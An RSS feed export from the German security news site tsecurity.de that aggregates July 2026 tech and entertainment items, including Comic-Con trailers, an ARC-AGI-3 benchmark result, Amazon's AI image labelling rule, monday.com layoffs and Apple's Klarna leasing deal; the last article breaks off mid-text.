<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=weve+seen+this+movie%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 08:22:30 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 08:22:30 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>

<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=weve+seen+this+movie%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Apple TV teases new trailers for 'Matchbox,' 'Neuromancer,' 'Dark Matter']]></title>
<description><![CDATA[Apple TV paid a visit to San Diego Comic-Con, hosting a two-hour panel and revealing new trailers for "Dark Matter," "Neuromancer," and the loosely toy-based "Matchbox The Movie."Matchbox The Movie - Image Credit: AppleJust like any major media company that streams movies and TV shows, Apple held...]]></description>
<link>https://tsecurity.de/de/3695623/ios-mac-os/apple-tv-teases-new-trailers-for-matchbox-neuromancer-dark-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695623/ios-mac-os/apple-tv-teases-new-trailers-for-matchbox-neuromancer-dark-matter/</guid>
<pubDate>Sun, 26 Jul 2026 14:23:15 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://appleinsider.com/inside/apple-tv" title="Apple TV" data-kpt="1">Apple TV</a> paid a visit to San Diego Comic-Con, hosting a two-hour panel and revealing new trailers for "Dark Matter," "Neuromancer," and the loosely toy-based "Matchbox The Movie."<br><br><div><img src="https://media.appleinsider.com/gallery/68364-144083-matchboxmovie-xl.jpg" alt="Off-road truck airborne over desert sand dunes, wheels lifted high, kicking up a large cloud of dust against a clear blue sky"><br><span>Matchbox The Movie - Image Credit: Apple</span></div><br>Just like any major media company that streams movies and TV shows, Apple held a lengthy <a href="https://appleinsider.com/articles/26/07/09/apple-going-big-at-comic-con-with-a-2-hour-panel-and-show-preview">two-hour panel</a> at San Diego Comic-Con. The panels are usually an opportunity for fans to see stars talk about past and upcoming projects, as well as the reveal of new trailers for inbound releases.<br><br>As part of Saturday's panel, Apple introduced a trio of new trailers for two shows and a movie.<br><br><br> <a href="https://appleinsider.com/articles/26/07/26/apple-tv-teases-new-trailers-for-matchbox-neuromancer-dark-matter?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245064?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV veröffentlicht Trailer zu „Matchbox the Movie“]]></title>
<description><![CDATA[Anfang dieses Jahres gab Apple im Rahmen des Apple TV Press Days einen Ausblich auf zahlreiche Inhalte, die im Laufe dieses Jahres erscheinen werden. Dieses werden nun nach und nach „abgearbeitet“. Nun erhalten wir einen ausführlicheren Einblick in „Matchbox the Movie“. Dieser startet am 09. Okto...]]></description>
<link>https://tsecurity.de/de/3695489/ios-mac-os/apple-tv-veroeffentlicht-trailer-zu-matchbox-the-movie/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695489/ios-mac-os/apple-tv-veroeffentlicht-trailer-zu-matchbox-the-movie/</guid>
<pubDate>Sun, 26 Jul 2026 12:23:55 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anfang dieses Jahres gab Apple im Rahmen des Apple TV Press Days einen Ausblich auf zahlreiche Inhalte, die im Laufe dieses Jahres erscheinen werden. Dieses werden nun nach und nach „abgearbeitet“. Nun erhalten wir einen ausführlicheren Einblick in „Matchbox the Movie“. Dieser startet am 09. Oktober auf dem Video-Streaming-Portal. Vorab git es nun den offiziellen […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic's Opus 5 blows past Fable 5 and GPT-5.6 Sol on the benchmark designed to measure real intelligence]]></title>
<description><![CDATA[Anthropic's Claude Opus 5 scored 30.2 percent on ARC-AGI-3, nearly quadrupling GPT-5.6 Sol's previous record of 7.8 percent. The benchmark's developers say the model independently formulated reflection equations, a behavior they had never seen from another model, and attribute to stronger logical...]]></description>
<link>https://tsecurity.de/de/3695456/ai-nachrichten/anthropics-opus-5-blows-past-fable-5-and-gpt-56-sol-on-the-benchmark-designed-to-measure-real-intelligence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695456/ai-nachrichten/anthropics-opus-5-blows-past-fable-5-and-gpt-56-sol-on-the-benchmark-designed-to-measure-real-intelligence/</guid>
<pubDate>Sun, 26 Jul 2026 11:55:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/arc_agi_3_opus_5.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Anthropic's Claude Opus 5 scored 30.2 percent on ARC-AGI-3, nearly quadrupling GPT-5.6 Sol's previous record of 7.8 percent. The benchmark's developers say the model independently formulated reflection equations, a behavior they had never seen from another model, and attribute to stronger logical reasoning.</p>
<p>The article <a href="https://the-decoder.com/anthropics-opus-5-blows-past-fable-5-and-gpt-5-6-sol-on-the-benchmark-designed-to-measure-real-intelligence/">Anthropic's Opus 5 blows past Fable 5 and GPT-5.6 Sol on the benchmark designed to measure real intelligence</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Comic-Con 2026 Debuts Trailers for 'Coyote vs Acme' Movie, Plus 'Neuromancer' and 'Blade Runner 2099' Series]]></title>
<description><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner ...]]></description>
<link>https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</guid>
<pubDate>Sun, 26 Jul 2026 10:01:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner Bros. until a backlash led to its sale to Ketchup Entertainment.) "Fed up with Acme's unreliable products, Wile E. Coyote decides to hire a lawyer and sue the company..." writes CNET. "The movie also features Lana Condor along with a host of Looney Tunes characters like Porky Pig, Tweety, Foghorn Leghorn and Granny (who gets dinged by an anvil)."
In other movie news, CNET says Johnny Depp also "made a surprise appearance at Comic-Con, donning a costume as Ebenezer Scrooge" to promote his November 13 movie about the miser from Charles Dickens' famous Christmas novella. (Ian McKellen and Daisy Ridley are also in the movie.)


But several geek favorites are being filmed as TV series...

 There's big news for William Gibson fans, reports Entertainment Weekly. "Two years after Apple TV announced production on the first-ever series adaptation of William Gibson's seminal 1984 novel Neuromancer, the lucky few hundred who attended the studio's Hall H panel at Comic-Con 2026 got to watch the first teaser. 

For Amazon's Prime Video, the Tolkien-derived "Rings of Power" series released a season 3 trailer that CNET said "successfully hides the best parts with fire... The trailer suggests that Sauron is building an army, and all of Middle-earth is trying to find ways to stop him... Rings of Power season 3 will start dropping weekly episodes on Nov. 11, meaning this show will be airing at the same time the Peter Jackson films will be celebrating their 25th anniversary."
Later in November Amazon's Prime Video will also debut Blade Runner 2099, an eight-episode series that's a sequel to 2017's film Blade Runner 2049, reports CNET. "Set in an alternate version of LA where replicants run things and the humans play second fiddle, the series sees Yeoh's replicant Olwen chasing down outlaw replicants who've gone missing. With her own shelf life on a ticking clock, the stakes are high for her and for her human fugitive partner, Cora..."
Paramount Plus will debut Avatar: Seven Havens in October, a new animated series from the creators of Avatar: The Last Airbender which CNET says "follows a pair of twin avatars, one of whom is Korra's successor."

Disney+ has season 3 of Percy Jackson and the Olympians.
Kevin Feige said Marvel's television slate will include more seasons of "X-Men '97" and the upcoming "VisionQuest" TV series.
HBO Max will launch a new Green Lantern series called Lanterns on August 16.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Comic-Con+2026+Debuts+Trailers+for+'Coyote+vs+Acme'+Movie%2C+Plus+'Neuromancer'+and+'Blade+Runner+2099'+Series%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F26%2F038200%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F26%2F038200%2Fcomic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/07/26/038200/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Avengers: Endgame Re-Release Includes Exclusive Avengers: Doomsday Preview]]></title>
<description><![CDATA[Marvel Studios is bringing Avengers: Endgame back to theaters on September 25, 2026, with an exclusive look at the upcoming Avengers: Doomsday.



The re-release gives Marvel fans another opportunity to watch the 2019 blockbuster in theaters. The film follows the surviving Avengers as they attemp...]]></description>
<link>https://tsecurity.de/de/3695272/ios-mac-os/avengers-endgame-re-release-includes-exclusive-avengers-doomsday-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695272/ios-mac-os/avengers-endgame-re-release-includes-exclusive-avengers-doomsday-preview/</guid>
<pubDate>Sun, 26 Jul 2026 09:21:44 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Marvel Studios is bringing Avengers: Endgame back to theaters on September 25, 2026, with an exclusive look at the upcoming Avengers: Doomsday.



The re-release gives Marvel fans another opportunity to watch the 2019 blockbuster in theaters. The film follows the surviving Avengers as they attempt to reverse Thanos’ devastating snap and restore half of all life across the universe.



The new theatrical run also serves as part of Marvel’s preparation for its next major crossover event. Viewers who attend the re-release will receive an early look at Avengers: Doomsday, although the exact length and format of the preview have not been announced.



Exclusive Avengers: Doomsday Footage Expected







Avengers: Doomsday will bring several major Marvel heroes together and introduce Robert Downey Jr. as Victor von Doom. The movie will also feature characters connected to the Avengers, Fantastic Four, X-Men and other parts of the Marvel Cinematic Universe.



Recent footage has highlighted Doctor Doom’s role in the story and his connections with the Fantastic Four. However, Marvel has kept several important plot details private ahead of the theatrical release.



The Russo brothers, who directed Avengers: Endgame, are also directing the new movie. Their return has raised expectations for another large-scale Marvel story involving several teams and universes.



Avengers: Doomsday is scheduled to arrive in theaters on December 18, 2026. The Endgame re-release gives audiences nearly three months to revisit the earlier Avengers finale before Marvel begins its next major chapter.]]></content:encoded>
</item>
<item>
<title><![CDATA[Quote of the day by Vladimir Putin on AI: 'Whoever becomes the leader in this sphere will become the ruler of the world' — an outlook on geopolitical dominance]]></title>
<description><![CDATA[The long-serving Russian president has long seen AI as the pathway to dominance in the next era of humankind]]></description>
<link>https://tsecurity.de/de/3694990/it-nachrichten/quote-of-the-day-by-vladimir-putin-on-ai-whoever-becomes-the-leader-in-this-sphere-will-become-the-ruler-of-the-world-an-outlook-on-geopolitical-dominance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694990/it-nachrichten/quote-of-the-day-by-vladimir-putin-on-ai-whoever-becomes-the-leader-in-this-sphere-will-become-the-ruler-of-the-world-an-outlook-on-geopolitical-dominance/</guid>
<pubDate>Sun, 26 Jul 2026 06:31:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The long-serving Russian president has long seen AI as the pathway to dominance in the next era of humankind]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon Cracks Down On Use of AI Images By Sellers]]></title>
<description><![CDATA[CNBC reports:


Amazon is requiring that third-party sellers label any product images or videos that contain "AI-generated people" after New York recently passed a law mandating greater transparency around "synthetic performers" in ads... The policy directs sellers to tag images [and videos or ot...]]></description>
<link>https://tsecurity.de/de/3694903/it-security-nachrichten/amazon-cracks-down-on-use-of-ai-images-by-sellers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694903/it-security-nachrichten/amazon-cracks-down-on-use-of-ai-images-by-sellers/</guid>
<pubDate>Sat, 25 Jul 2026 22:16:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNBC reports:


Amazon is requiring that third-party sellers label any product images or videos that contain "AI-generated people" after New York recently passed a law mandating greater transparency around "synthetic performers" in ads... The policy directs sellers to tag images [and videos or other graphics on listing pages] with specific metadata keywords before they're uploaded. "Recent legislation requires disclosure when images or videos in advertisements contain photorealistic AI-generated people," Amazon wrote in the announcement [clarifying that the requirement doesn't apply to content featuring TV/video game/movie characters or content including real people, even if they've been altered using AI]. The company said it will "add an indicator" to listings on its website, informing consumers that images or other content feature AI-generated people, "where applicable." It's unclear what criteria Amazon will apply when deciding when to display the label to shoppers... 

Amazon has embraced AI internally and it's increasingly infusing the technology across its portfolio. The company has optimized listing titles and details so they're more likely to be spotted by AI systems, invested in a recently rebranded assistant called Alexa for Shopping, and launched a feature that injects AI-generated [images of] products into its search bar in real time based on user queries. More Amazon third-party sellers are using AI to generate text, images and other content for their listings, partly by using the company's tools. 

Outside sellers account for more than 60% of goods sold on Amazon, the article points out. It adds that there's currently no nationwide U.S. law requiring companies to disclose AI-generated advertising content, it adds — but YouTube, Meta, Pinterest, and TikTok have already added labels for AI-generated content. 

And a new California law also requires large AI providers to embed watermarks in AI-generated images, video and other content...<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Amazon+Cracks+Down+On+Use+of+AI+Images+By+Sellers%3A+https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F25%2F0545246%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F25%2F0545246%2Famazon-cracks-down-on-use-of-ai-images-by-sellers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://slashdot.org/story/26/07/25/0545246/amazon-cracks-down-on-use-of-ai-images-by-sellers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top Online Sites Debate Cutting Off Google's Crawlers]]></title>
<description><![CDATA[Futurism reports:


[Some online publications] are now debating whether to cut Google off entirely, as the Wall Street Journal reports, illustrating an increasingly fraught relationship between the tech giant and the publishers that are creating content its AI models are regurgitating. According ...]]></description>
<link>https://tsecurity.de/de/3694862/it-security-nachrichten/top-online-sites-debate-cutting-off-googles-crawlers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694862/it-security-nachrichten/top-online-sites-debate-cutting-off-googles-crawlers/</guid>
<pubDate>Sat, 25 Jul 2026 21:04:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Futurism reports:


[Some online publications] are now debating whether to cut Google off entirely, as the Wall Street Journal reports, illustrating an increasingly fraught relationship between the tech giant and the publishers that are creating content its AI models are regurgitating. According to the newspaper, prominent outlets including USA Today, Politico, the Economist, People, and Reuters are all reexamining their relationship with Google. Some are debating whether to continue to work with the tech giant at all... Even Reddit executives are reevaluating the company's $60 million-a-year contract that allows Google to train its AI models on user-submitted content on the platform. They've similarly watched as Google's AI features discourage users from navigating to Reddit... 


Beyond pondering whether to cut Google off, other publishers have resorted to suing the company, accusing it of illegally rehashing their intellectual property via AI summaries.
It's an extremely undesirable position for publishers. By severing ties with the search giant, they could face even steeper declines in traffic. At the same time, there's seemingly little to gain from having Google's AIs crawl their content — and in the long term, it could guarantee their destruction. 

Two interesting data points from the article:


"Last month, Cloudflare CEO Matthew Prince noticed that automated bot traffic had overtaken human traffic for the first time in the internet's history."

"USA Today has seen its traffic from US users drop by almost half over the last year."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Top+Online+Sites+Debate+Cutting+Off+Google's+Crawlers%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F030246%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F030246%2Ftop-online-sites-debate-cutting-off-googles-crawlers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/25/030246/top-online-sites-debate-cutting-off-googles-crawlers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



